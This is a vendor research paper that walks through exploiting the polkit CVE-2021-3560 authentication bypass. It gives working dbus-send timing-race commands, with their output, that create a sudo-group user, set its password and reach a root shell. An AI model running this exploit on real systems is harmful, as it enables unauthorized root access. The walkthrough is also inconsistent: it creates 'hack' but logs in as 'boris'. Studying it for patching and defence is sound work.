Polkit Authentication bypass Local Privesc vulnerability

CVE-2021-3560

Research Paper

INTRODUCTION

This Document illustrates the exploitation of the authentication bypass vulnerability found in polkit, which allows an unprivileged user to call privileged methods using dbus.

- polkit-

  PolKit (formerly known as Policy Kit) is an application framework that acts as a negotiator between the unprivileged user session and the privileged system context. Whenever a process from the user session tries to carry out an action in the system context, polKit is queried. Based on its configuration—specified in a so-called "policy"—the answer could be "yes", "no", or "needs authentication". Unlike classical privilege authorization programs such as sudo, polKit does not grant root permissions to an entire session, but only to the action in question.

- pkexec-

  pkexec is a similar command to sudo , which enables you to run a command as root. If you run pkexec in a graphical session, it will pop up a dialog box, but if you run it in a text-mode session such as SSH then it starts its own text-mode authentication agent.

- dbus-send-

  It's a general-purpose tool for sending D-Bus messages that's mainly used for testing, but it's usually installed by default on systems that use D-Bus. It can be used to simulate the D-Bus messages that the graphical interface might send. For example, this is the command to create a new user.

EXPLOIT WORKING

The exploit is triggered by starting a dbus-send command but killing it while polkit is still in the middle of processing the request.

The exploit mainly depends on two packages being installed: accountsservice and gnome-control-center. On a graphical system such as Ubuntu Desktop, both of those packages are usually installed by default. But if you're using something like a non-graphical RHEL server, then you might need to install them, like this:

Command:

```
sudo yum install accountsservice gnome-control-center
```

CVSSv3:

- Base Score – 7.8
- Impact Score - 5.9
- Exploitability Score - 1.8
- Severity - HIGH

Scope Impact:

The scope of this vulnerability is that the attacker can have access to all commands and files on a vulnerable machine.

Affected Versions:

- Ubuntu 20.04 LTS
- RHEL 8
- Fedora 21 (or later)
- Debian Testing("bullseye")

Unaffected Versions:

- Ubuntu 18.04
- RHEL 7
- Fedora 20 (or earlier)
- Debian 10 ("buster")

Mitigation:

Update your Ubuntu system to the latest release or to the unaffected versions.

EXPLOIT IMPLEMENTATION

- Use the command whoami and id to check the privilege of the current user.

Command: whoami

```
ubuntu@ubuntu-virtual-machine:~/Desktop$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
ubuntu@ubuntu-virtual-machine:~/Desktop$ whoami
ubuntu
ubuntu@ubuntu-virtual-machine:~/Desktop$
```

- Run command : pkexec reboot.

```
ubuntu@ubuntu-virtual-machine:~/Desktop$ pkexec reboot
Error executing command as another user: Request dismissed
ubuntu@ubuntu-virtual-machine:~/Desktop$
```

- To avoid repeatedly triggering the authentication dialog box (which can be annoying), I recommend running the commands from an SSH session:

  Command:

```
ubuntu@ubuntu-virtual-machine:~/Desktop$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
ubuntu@ubuntu-virtual-machine:~/Desktop$ whoami
ubuntu
ubuntu@ubuntu-virtual-machine:~/Desktop$ pkexec reboot
Error executing command as another user: Request dismissed
ubuntu@ubuntu-virtual-machine:~/Desktop$ ssh localhost
ubuntu@localhost's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.11.0-25-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

280 updates can be installed immediately.
121 of these updates are security updates.
To see these additional updates run: apt list --upgradable

Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Thu Aug  5 19:07:35 2021 from 127.0.0.1
```

- First, you need to measure how long it takes to run the dbus-send command normally:

  Command: time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:rohit string:"Rohit Verma" int32:1

  The output will look something like this:

```
ubuntu@ubuntu-virtual-machine:~$ time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:rohit string
:"Rohit Verma" int32:1
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required

real    0m0.019s
user    0m0.000s
sys     0m0.005s
```

That took 19 milliseconds for me, so that means that I need to kill the dbus-send command after approximately 7 milliseconds:

- Now run the dbus-send command and also check the id.

  dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"Rohit Verma"

  int32:1

```
ubuntu@ubuntu-virtual-machine:~$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"Rohi
t Verma" int32:1
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
```

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.007s ; kill $!

```
ubuntu@ubuntu-virtual-machine:~$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"Bori
s Ivanovich Grishenko" int32:1 & sleep 0.007s ; kill $!
[1] 2223
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[1]+  Exit 1                  dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"Boris I
vanovich Grishenko" int32:1
-bash: kill: (2223) - No such process
```

```
ubuntu@ubuntu-virtual-machine:~$ id hack
id: ‘hack’: no such user
[1]+  Terminated              dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"Boris I
vanovich Grishenko" int32:1
```

- You might need to run that a few times, and you might need to experiment with the number of milliseconds in the delay. When the exploit succeeds, you'll see that a new user named hack has been created:

```
ubuntu@ubuntu-virtual-machine:~$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"Bori
s Ivanovich Grishenko" int32:1 & sleep 0.007s ; kill $!
[1] 2225
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[1]+  Exit 1                  dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"Boris I
vanovich Grishenko" int32:1
-bash: kill: (2225) - No such process
ubuntu@ubuntu-virtual-machine:~$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"Bori
s Ivanovich Grishenko" int32:1 & sleep 0.007s ; kill $!
[1] 2227
ubuntu@ubuntu-virtual-machine:~$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"Bori
s Ivanovich Grishenko" int32:1 & sleep 0.007s ; kill $!
[2] 2229
[1]   Terminated              dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"Boris I
vanovich Grishenko" int32:1
ubuntu@ubuntu-virtual-machine:~$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"Bori
s Ivanovich Grishenko" int32:1 & sleep 0.007s ; kill $!
[3] 2231
[2]   Terminated              dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"Boris I
vanovich Grishenko" int32:1
ubuntu@ubuntu-virtual-machine:~$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"Bori
s Ivanovich Grishenko" int32:1 & sleep 0.007s ; kill $!
[4] 2234
[3]   Terminated              dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"Boris I
vanovich Grishenko" int32:1
ubuntu@ubuntu-virtual-machine:~$ id hack
uid=1002(hack) gid=1002(hack) groups=1002(hack),27(sudo)
[4]+  Terminated              dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"Boris I
vanovich Grishenko" int32:1
ubuntu@ubuntu-virtual-machine:~$ id hack
uid=1002(hack) gid=1002(hack) groups=1002(hack),27(sudo)
```

```
ubuntu@ubuntu-virtual-machine:~$ id hack
uid=1002(hack) gid=1002(hack) groups=1002(hack),27(sudo)
```

- We can see that user hack is member of the sudo group so we just need to set password for our new account .

  Since dbus interface expects a password in hashed format so creating a hashed password using openssl

```
ubuntu@ubuntu-virtual-machine:~$ openssl passwd -5 1234
$5$yuzWbrjpIdLCK2ZY$24gpH8ZO.v0Clyml65lcO6RYDf4mScHPmb1rScg5sG6
```

- Repeat the dbus-send command, except this time call the SetPassword D-Bus method and also change the user id that your new user got when created. In my case uid is 1002.

```
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call
--print-reply /org/freedesktop/Accounts/User1002
org.freedesktop.Accounts.User.SetPassword
string:'$5$yuzWbrjpIdLCK2ZY$24gpH8ZO.v0Clyml65lcO6RYDf4mScHPmb1rScg5sG6

' string:GoldenEye & sleep 0.008s ; kill $!
```

```
ubuntu@ubuntu-virtual-machine:~$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$
5$yuzWbrjpIdLCK2ZY$24gpH8ZO.v0Clyml65lcO6RYDf4mScHPmb1rScg5sG6
> ' string:GoldenEye & sleep 0.008s ; kill $!
[1] 2314
```

- Now you can login as user hack and become root user :

```
ubuntu@ubuntu-virtual-machine:~$ su boris
Password:
boris@ubuntu-virtual-machine:/home/ubuntu$ sudo su
[sudo] password for boris:
root@ubuntu-virtual-machine:/home/ubuntu# ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos
```

SAFE
SECURITY

www.safe.security | info@safe.security

Palo Alto
3000, El Camino Real,
Building 4, Suite 200, CA
94306